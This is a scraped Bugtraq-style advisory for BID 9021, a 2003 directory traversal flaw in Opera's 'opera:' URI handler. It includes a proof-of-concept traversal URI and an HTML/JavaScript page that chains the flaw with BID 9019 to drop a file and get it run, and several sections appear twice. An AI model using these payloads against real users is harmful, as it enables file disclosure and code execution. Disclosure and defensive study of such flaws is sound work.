Opera Web Browser Opera: URI Handler Directory Traversal Vulnerability
BID:9021
Info
Opera Web Browser Opera: URI Handler Directory Traversal Vulnerability
| Bugtraq ID: | 9021 |
| Class: | Input Validation Error |
| CVE: | |
| Remote: | Yes |
| Local: | No |
| Published: | Nov 12 2003 12:00AM |
| Updated: | Nov 12 2003 12:00AM |
| Credit: | The disclosure of this issue has been credited to S.G.Masood <[email protected]>. |
| Vulnerable: |
Opera Software Opera Web Browser 7.22 Opera Software Opera Web Browser 7.21 Opera Software Opera Web Browser 7.20 Beta 1 build 2981 Opera Software Opera Web Browser 7.20 Opera Software Opera Web Browser 7.11 j Opera Software Opera Web Browser 7.11 b Opera Software Opera Web Browser 7.11 Opera Software Opera Web Browser 7.10 |
| Not Vulnerable: |
Opera Software Opera Web Browser 7.23 |
Discussion
Opera Web Browser Opera: URI Handler Directory Traversal Vulnerability
It has been reported that Opera is vulnerable to a directory traversal issue that may allow an attacker to access sensitive information. The problem presents itself due to insufficient sanitization of user-supplied data through the 'Opera:' URI handler. The issue may allow an attacker to traverse outside a directory by using '..%5c' or '..%2f' character sequences.
Successful exploitation of this vulnerability may allow a remote attacker to gain access to sensitive information that may be used to launch further attacks against a vulnerable system.
Opera Web Browser versions 7.22 and prior are reported to be prone to this issue.
It has been reported that this issue may be exploited with another issue described in BID 9019 to drop files onto a client system in a predictable location and cause these files to be executed.
It has been reported that Opera is vulnerable to a directory traversal issue that may allow an attacker to access sensitive information. The problem presents itself due to insufficient sanitization of user-supplied data through the 'Opera:' URI handler. The issue may allow an attacker to traverse outside a directory by using '..%5c' or '..%2f' character sequences.
Successful exploitation of this vulnerability may allow a remote attacker to gain access to sensitive information that may be used to launch further attacks against a vulnerable system.
Opera Web Browser versions 7.22 and prior are reported to be prone to this issue.
It has been reported that this issue may be exploited with another issue described in BID 9019 to drop files onto a client system in a predictable location and cause these files to be executed.
Exploit / POC
Opera Web Browser Opera: URI Handler Directory Traversal Vulnerability
The following proof-of-concept has been provided:
opera:/help/..%5c..%5c..%5cwinnt/notepad.exe
The following proof-of-concept was also provided (which also exploits BID 9019):
---------------START MAIN.HTM----------------
<html>
<head>
<script language="javascript">
var win=open("skin.htm") // The server should return content-type as // "application/x-opera-skin" for "Skin.htm". "Skin.htm" will be dropped in the
"<opera // dir>/profile/skin/" folder.
setTimeout("redir()",2000) //modify according to your situation.
function redir(){
window.location.href="opera:/help/..%5c/profile/skin/skin.htm" //This uses the // directory traversal flaw mentioned in advisory 2 to get the path of the
dropped file. In this // case, it is skin.htm.
}
</script>
</head>
<body>
<h1>This is the main file</h1>
</body>
</html>
---------------END MAIN.HTM----------------
---------------START SKIN.HTM----------------
<body>
<h1> Opera Skinned!!! </h1><p>This is Skin.htm from "<opera dir>/profile/skin/" in localhost.
</body>
---------------END SKIN.HTM----------------
The following proof-of-concept has been provided:
opera:/help/..%5c..%5c..%5cwinnt/notepad.exe
The following proof-of-concept was also provided (which also exploits BID 9019):
---------------START MAIN.HTM----------------
<html>
<head>
<script language="javascript">
var win=open("skin.htm") // The server should return content-type as // "application/x-opera-skin" for "Skin.htm". "Skin.htm" will be dropped in the
"<opera // dir>/profile/skin/" folder.
setTimeout("redir()",2000) //modify according to your situation.
function redir(){
window.location.href="opera:/help/..%5c/profile/skin/skin.htm" //This uses the // directory traversal flaw mentioned in advisory 2 to get the path of the
dropped file. In this // case, it is skin.htm.
}
</script>
</head>
<body>
<h1>This is the main file</h1>
</body>
</html>
---------------END MAIN.HTM----------------
---------------START SKIN.HTM----------------
<body>
<h1> Opera Skinned!!! </h1><p>This is Skin.htm from "<opera dir>/profile/skin/" in localhost.
</body>
---------------END SKIN.HTM----------------
Solution / Fix
Opera Web Browser Opera: URI Handler Directory Traversal Vulnerability
Solution:
The vendor has released a fix for this issue. User are advised to update to version 7.23 of the software, which may be obtained via the vendor website.
Solution:
The vendor has released a fix for this issue. User are advised to update to version 7.23 of the software, which may be obtained via the vendor website.
References
Opera Web Browser Opera: URI Handler Directory Traversal Vulnerability
References:
References:
- Opera Web Browser Home Page (Opera Software)
- [Opera 7] Arbitrary File Auto-Saved Vulnerability. (":: Operash ::"
- Opera directory traversal and buffer overflow (Jouko Pynnonen
- Opera Directory Traversal in Internal URI Protocol (Advisory) (S G Masood
- Opera Skinned & Opera Directory Traversal (Additional Details & a Simple Exploit (S G Masood
- Opera Skinned : Arbitrary File Dropping And Execution (Advisory) ( S G Masood